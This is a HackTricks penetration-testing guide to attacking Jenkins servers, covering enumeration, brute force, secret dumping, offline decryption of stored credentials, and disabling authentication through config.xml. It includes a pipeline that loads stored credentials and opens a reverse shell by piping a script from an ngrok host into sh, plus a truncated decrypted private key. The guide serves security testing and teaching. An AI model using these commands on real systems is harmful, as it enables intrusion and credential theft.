HackTricks Cloud
HackTricks Training Twitter Linkedin Sponsor

Jenkins Security

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

Jenkins is a tool that offers a straightforward method for establishing a continuous integration or continuous delivery (CI/CD) environment for almost any combination of programming languages and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the need to create scripts for individual steps, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.

pageBasic Jenkins Information

Unauthenticated Enumeration

In order to search for interesting Jenkins pages without authentication like (/people or /asynchPeople, this lists the current users) you can use:

msf> use auxiliary/scanner/http/jenkins_enum

Check if you can execute commands without needing authentication:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.

You may be able to get the Jenkins version from the path /oops or /error

Known Vulnerabilities

Login

In the basic information you can check all the ways to login inside Jenkins:

pageBasic Jenkins Information

Register

You will be able to find Jenkins instances that allow you to create an account and login inside of it. As simple as that.

SSO Login

Also if SSO functionality/plugins were present then you should attempt to log-in to the application using a test account (i.e., a test Github/Bitbucket account). Trick from here.

Bruteforce

Jenkins lacks password policy and username brute-force mitigation. It's essential to brute-force users since weak passwords or usernames as passwords may be in use, even reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Use this python script or this powershell script.

IP Whitelisting Bypass

Many organizations combine SaaS-based source control management (SCM) systems such as GitHub or GitLab with an internal, self-hosted CI solution like Jenkins or TeamCity. This setup allows CI systems to receive webhook events from SaaS source control vendors, primarily for triggering pipeline jobs.

To achieve this, organizations whitelist the IP ranges of the SCM platforms, permitting them to access the internal CI system via webhooks. However, it's important to note that anyone can create an account on GitHub or GitLab and configure it to trigger a webhook, potentially sending requests to the internal CI system.

Check: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Internal Jenkins Abuses

In these scenarios we are going to suppose you have a valid account to access Jenkins.

Depending on the Authorization mechanism configured in Jenkins and the permission of the compromised user you might be able or not to perform the following attacks.

For more information check the basic information:

pageBasic Jenkins Information

Listing users

If you have accessed Jenkins you can list other registered users in http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Stealing SSH Credentials

If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:

You will usually find Jenkins ssh credentials in a global provider (/credentials/), so you can also dump them as you would dump any other secret. More information in the Dumping secrets section.

RCE in Jenkins

Getting a shell in the Jenkins server gives the attacker the opportunity to leak all the secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.

By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.

RCE Creating/Modifying a project

Creating/Modifying a project is a way to obtain RCE over the Jenkins server:

pageJenkins RCE Creating/Modifying Project

RCE Execute Groovy script

You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:

pageJenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

You can also get RCE by creating/modifying a pipeline:

pageJenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

To exploit pipelines you still need to have access to Jenkins.

Build Pipelines

Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile is used:

It's also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.

If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins. It's possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)

  • Push to the main branch (or potentially to other branches)

  • Update the main branch and wait until it's executed somehow

If you are an external user you shouldn't expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline... but if it's bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.

Checking Env variables

It's possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn't contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:

pipeline {
    agent {label 'built-in'}
    environment {
        GENERIC_ENV_VAR = "Test pipeline ENV variables."
    }

    stages {
        stage("Build") {
                environment {
                    STAGE_ENV_VAR = "Test stage ENV variables."
                }
                steps {

Dumping secrets

For information about how are secrets usually treated by Jenkins check out the basic information:

pageBasic Jenkins Information

Credentials can be scoped to global providers (/credentials/) or to specific projects (/job/<project-name>/configure). Therefore, in order to exfiltrate all of them you need to compromise at least all the projects that contains secrets and execute custom/poisoned pipelines.

There is another problem, in order to get a secret inside the env of a pipeline you need to know the name and type of the secret. For example, you try lo load a usernamePassword secret as a string secret you will get this error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Here you have the way to load some common secret types:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
    sh '''
        env #Search for USERNAME and PASS
    '''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
    sh '''
        env #Search for SECRET
    '''                 
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
    sh '''
        env # Search for USERPASS
    '''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
                 string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
     sh '''
        env
    '''
}

At the end of this page you can find all the credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

The best way to dump all the secrets at once is by compromising the Jenkins machine (running a reverse shell in the built-in node for example) and then leaking the master keys and the encrypted secrets and decrypting them offline. More on how to do this in the Nodes & Agents section and in the Post Exploitation section.

Triggers

From the docs: The triggers directive defines the automated ways in which the Pipeline should be re-triggered. For Pipelines which are integrated with a source such as GitHub or BitBucket, triggers may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are cron, pollSCM and upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Nodes & Agents

A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.

For more information check the basic information:

pageBasic Jenkins Information

You can enumerate the configured nodes in /computer/, you will usually find the **Built-In Node ** (which is the node running Jenkins) and potentially more:

It is specially interesting to compromise the Built-In node because it contains sensitive Jenkins information.

To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:

pipeline {
    agent {label 'built-in'}

Complete example

Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:

pipeline {
    agent {label 'built-in'}
    triggers { cron('H */4 * * 1-5') }
    environment {
        GENERIC_ENV_VAR = "Test pipeline ENV variables."
    }

    stages {
        stage("Build") {
                environment {
                    STAGE_ENV_VAR = "Test stage ENV variables."
                }
                steps {
            withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
                     string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
                sh '''
                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
                '''
            }
        }
    }

    post { 
        always { 
            cleanWs()
        }
    }
}

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

You can list the secrets accessing /credentials/ if you have enough permissions. Note that this will only list the secrets inside the credentials.xml file, but build configuration files might also have more credentials.

If you can see the configuration of each project, you can also see in there the names of the credentials (secrets) being use to access the repository and other credentials of the project.

From Groovy

pageJenkins Dumping Secrets from Groovy

From disk

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key

  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Here's a regex to find them:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

If you have dumped the needed passwords to decrypt the secrets, use this script to decrypt those secrets.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Create new admin user

  1. Access the Jenkins config.xml file in /var/lib/jenkins/config.xml or C:\Program Files (x86)\Jenkis\

  2. Search for the word <useSecurity>true</useSecurity>and change the word **true ** to false.

    1. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  3. Restart the Jenkins server: service jenkins restart

  4. Now go to the Jenkins portal again and Jenkins will not ask any credentials this time. You navigate to "Manage Jenkins" to set the administrator password again.

  5. Enable the security again by changing settings to <useSecurity>true</useSecurity> and restart the Jenkins again.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

PreviousBasic TravisCI InformationNextBasic Jenkins Information

Last updated